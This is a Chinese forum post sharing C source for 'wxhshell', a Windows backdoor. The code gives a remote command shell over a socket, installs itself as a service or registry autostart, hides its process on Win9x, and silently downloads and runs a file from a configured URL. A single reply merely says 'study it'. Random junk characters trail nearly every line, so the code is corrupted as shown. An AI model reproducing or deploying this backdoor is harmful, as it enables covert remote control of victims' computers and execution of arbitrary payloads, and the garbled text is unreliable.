  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *F ya qJ)  
  } ="M7F0k  
  else { /CXrxeo  
PA=.)8  
    switch(cmd[0]) { 9lT6fW`v1Q  
  /Ah|Po  
  // 帮助 ,{KjVv<  
  case '?': { k{{iF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i2h,=NHJh?  
    break; >n`!S`)9{  
  } C^dnkuA  
  // 安装 ow,4'f!d  
  case 'i': { %cPz>PTW@  
    if(Install()) !i"Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hqPpRSv'  
    else #5Zf6w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z3 zN^ZT  
    break; WJB/X"J  
    } YLEk M  
  // 卸载 #fF~6wopV  
  case 'r': { 6f$h1$$)^  
    if(Uninstall()) uTSTBI4t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /M Hml0u  
    else Wa/&H$d\u@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l7g< $3  
    break; 81(.{Y839_  
    } =Wb!j18]  
  // 显示 wxhshell 所在路径 d|nJp-%V  
  case 'p': { ?O]iX;2vM  
    char svExeFile[MAX_PATH]; _t9@ vVQ  
    strcpy(svExeFile,"\n\r"); {95z\UE}  
      strcat(svExeFile,ExeFile); <Z8I#IPl  
        send(wsh,svExeFile,strlen(svExeFile),0); ;OE=;\  
    break; Hg~O0p}[  
    } Cfz020u`g  
  // 重启 Pk9 4O  
  case 'b': { AqD)2O{VO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E0g` xf 6c  
    if(Boot(REBOOT)) |'C {nTX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6?"k&O  
    else { Q t!X<.  
    closesocket(wsh); evbqBb21b  
    ExitThread(0); W?*]' 0  
    } %B;e 7 UJ  
    break; ywPFL/@  
    } OS X5S:XS  
  // 关机 %*>ee[^L ,  
  case 'd': { \~3g*V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jz\LI  
    if(Boot(SHUTDOWN)) yNw YP%"y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K):MT[/"  
    else { SBj9sFZ  
    closesocket(wsh); U\_-GS;1  
    ExitThread(0); ~@3X&E0S  
    } h{ &X`$  
    break; "`sr#  
    } %:^|Q;xe  
  // 获取shell T8ga)BA  
  case 's': { ql|ksios  
    CmdShell(wsh); GsYi/Z   
    closesocket(wsh); 7y4!K$c$  
    ExitThread(0); m{U+aqAQK  
    break; XT n`$}nz  
  } v=(L>gg  
  // 退出 UuNcBzB2d  
  case 'x': { :HDl-8]Lw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i[gq8%  
    CloseIt(wsh); sj)$o94=  
    break; o6FSSKM  
    } l'_P]@*  
  // 离开 Lyx \s;  
  case 'q': { sT.:"Pj$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H;QE',a9+i  
    closesocket(wsh); AfzE0mBW  
    WSACleanup(); S{ v [65  
    exit(1); ;ew3^i.du  
    break; 1:.0^?Gz  
        } F2;k6M@  
  } sC8C><y  
  } 8P wobln  
+1K9R\  
  // 提示信息 !y8/El  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l?+67cQLA  
} XJ3 5Z+M  
  } _L?`C  
U!GG8;4  
  return; O23dtH  
} :{iS0qJ  
t%<@k)hd~G  
// shell模块句柄 <i~MBy. (  
int CmdShell(SOCKET sock) MX=mGfoa  
{ |.A#wjF9  
STARTUPINFO si; cU,]^/0Y  
ZeroMemory(&si,sizeof(si)); rt\i@}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A4}6hG#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gAy,uP~,  
PROCESS_INFORMATION ProcessInfo; K_@[%  
char cmdline[]="cmd"; KL2#Bm_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yu3T5@Ww  
  return 0; ^Vl{IsY  
} {8NnRnzU  
DEGEr-  
// 自身启动模式 ,S|v>i, @  
int StartFromService(void) |Rh%wJ  
{ *vx!twu1o  
typedef struct `@8QQB  
{ +="?[:  
  DWORD ExitStatus; Iz'*^{Ssm  
  DWORD PebBaseAddress; ])dq4\Bw  
  DWORD AffinityMask; Up61Xn  
  DWORD BasePriority; _N4G[jQLJ  
  ULONG UniqueProcessId; &zl=}xeA  
  ULONG InheritedFromUniqueProcessId; GqFDN],Wp  
}   PROCESS_BASIC_INFORMATION; ,tdV-9N[O  
UjNe0jt% s  
PROCNTQSIP NtQueryInformationProcess; Ppw0vaJ^  
_m;#+`E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vb0((c%&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gbP]!d:I  
Ax D&_GT  
  HANDLE             hProcess; kPN:m ow  
  PROCESS_BASIC_INFORMATION pbi; CJ*8x7-t  
YlI/~J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YT)jBS~&  
  if(NULL == hInst ) return 0; O|t@p=]  
j@jaFsX |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ap&Bwo 8b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oDY $F%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d ] J5c  
y{>d&M|  
  if (!NtQueryInformationProcess) return 0; 5iE-$,7#L  
&|;XLRHP}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3h:"-{MW.  
  if(!hProcess) return 0; 0dv# [  
xPFNH`O&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OH2Xxr[bQ  
=(ULfz[:  
  CloseHandle(hProcess); ]8)nIT^EP  
5PY,}1`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FLT4:B7  
if(hProcess==NULL) return 0; ;pK/t=$  
#KC& ct  
HMODULE hMod; MP5 vc5[  
char procName[255]; -;/;dz;  
unsigned long cbNeeded; LvlVZjT  
|@{4zoP_N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Q#} ,T  
xgw[)!g^\  
  CloseHandle(hProcess); {+CW_ce  
q;&\77i$  
if(strstr(procName,"services")) return 1; // 以服务启动 FerQA9K)x  
QnsD,F; /  
  return 0; // 注册表启动 oPSucz&s  
} gq[|>Rs75  
,e6n3]W8  
// 主模块 ,+0#.N s$  
int StartWxhshell(LPSTR lpCmdLine) f+#^Lngo  
{ rkdf htpI  
  SOCKET wsl; *D&(6$[^  
BOOL val=TRUE; W_ w^"'  
  int port=0; T%GdvtmS>  
  struct sockaddr_in door; 2g>4fZ  
a[ Pyxx_K  
  if(wscfg.ws_autoins) Install(); :#CQQ*@  
wc&%icF*cr  
port=atoi(lpCmdLine); lX^yd5M&f  
>HvgU_  
if(port<=0) port=wscfg.ws_port; u9-:/<R#}y  
q)Qd+:a7{  
  WSADATA data; &e2|]C4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +n]z'pijb  
ZE+VLV v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ce: 2Tw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U^ bF}4m  
  door.sin_family = AF_INET; %Vf3r9 z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -4  ~(*  
  door.sin_port = htons(port); TvV_Tz4e  
yV;_]_EO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 60 D0z  
closesocket(wsl); $ yd "bJK  
return 1; a: C h"la  
} 8SV.giG;  
S;pKL,d>r  
  if(listen(wsl,2) == INVALID_SOCKET) { l~|x*JTq  
closesocket(wsl); L'=mDb  
return 1; Nqf6CPXE  
} 0K+a/G@ n\  
  Wxhshell(wsl); o>(I_3J[p  
  WSACleanup(); * z,] mi%  
rA<>k/a  
return 0; ~ ZkSYW<  
PtfxF]%H  
} [^oTC;  
xqP DL9\  
// 以NT服务方式启动 j c%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J.nJ@?O+  
{ *{_WM}G  
DWORD   status = 0; QqpXUyHp[  
  DWORD   specificError = 0xfffffff; F]_w~1 n5  
}6U`/"RfcO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zk\YW'x|r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5somoV B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,hMd xZJd  
  serviceStatus.dwWin32ExitCode     = 0; 9j[lr${A  
  serviceStatus.dwServiceSpecificExitCode = 0; dfo_R  
  serviceStatus.dwCheckPoint       = 0; nSMw5  
  serviceStatus.dwWaitHint       = 0; fdU`+[_  
]UtfI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /UwB6s(  
  if (hServiceStatusHandle==0) return; n U0  
-SyQ`V)T7N  
status = GetLastError(); tc.`P]R   
  if (status!=NO_ERROR) W3AtO  
{ UbWeE,T~S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bSK> p3  
    serviceStatus.dwCheckPoint       = 0; %Z:07|57I[  
    serviceStatus.dwWaitHint       = 0; l"T{!Oq  
    serviceStatus.dwWin32ExitCode     = status; #Cj$;q{!  
    serviceStatus.dwServiceSpecificExitCode = specificError; P4h^_*d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %jS#DVxBR  
    return; 8eAc 5by  
  } #YABb wH  
u~JCMM$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hxt,%al  
  serviceStatus.dwCheckPoint       = 0; g}uVuK;<  
  serviceStatus.dwWaitHint       = 0; WTlR>|Zdn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dV~d60jOF  
} 28u3B2\$  
71g\fGG\  
// 处理NT服务事件,比如:启动、停止 -#TF&-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -XbO[_Wf  
{ f( %r)%  
switch(fdwControl) 5V"Fy&}:  
{ $|0?$U7!  
case SERVICE_CONTROL_STOP: L%h Vts'  
  serviceStatus.dwWin32ExitCode = 0; [/P}1 c[)U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3U.?Jbm-8  
  serviceStatus.dwCheckPoint   = 0; tTX@Bb8  
  serviceStatus.dwWaitHint     = 0; [,@gSb|D?  
  { r~<I5MZY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Fw8V=Pw  
  } [ X7LV  
  return; |._9;T-Yde  
case SERVICE_CONTROL_PAUSE: cH== OM7&-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KNI* :  
  break; ?3=D-Xrb  
case SERVICE_CONTROL_CONTINUE: GS<aXh k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y6&B%t<bo  
  break; zi7>!#(  
case SERVICE_CONTROL_INTERROGATE: ,JL Y oE+  
  break; E#5$O2b#  
}; Rt%3\?rf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E0SP  
} @c >a  
I: j!A  
// 标准应用程序主函数 lZ\Si  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *8WcRx  
{ >TnV Lx<  
E~b Yk6  
// 获取操作系统版本 2r 0u[  
OsIsNt=GetOsVer(); bD: yu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1@i 8ASL  
ptA-rX.  
  // 从命令行安装 Ts~MkO  
  if(strpbrk(lpCmdLine,"iI")) Install(); s#nd:$p3  
+"~~; J$  
  // 下载执行文件 }3}{}w0Y  
if(wscfg.ws_downexe) { \!]Zq#*kH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4R;6u[ a]u  
  WinExec(wscfg.ws_filenam,SW_HIDE); |afzW=8'  
} [~%\:of70n  
<"&I'9  
if(!OsIsNt) { o<pb!]1  
// 如果时win9x,隐藏进程并且设置为注册表启动 G`Ix-dADJm  
HideProc(); /d1 B-I  
StartWxhshell(lpCmdLine); 65@,FDg*i  
} sF+mfoMtG  
else KRL9dD,&  
  if(StartFromService()) >k\lE(  
  // 以服务方式启动 &*w)/W  
  StartServiceCtrlDispatcher(DispatchTable); 7yp}*b{s  
else e>GX]tK  
  // 普通方式启动 _&]B  
  StartWxhshell(lpCmdLine); ,hggmzA~  
N~Kl{" >`  
return 0; SL j2/B0  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五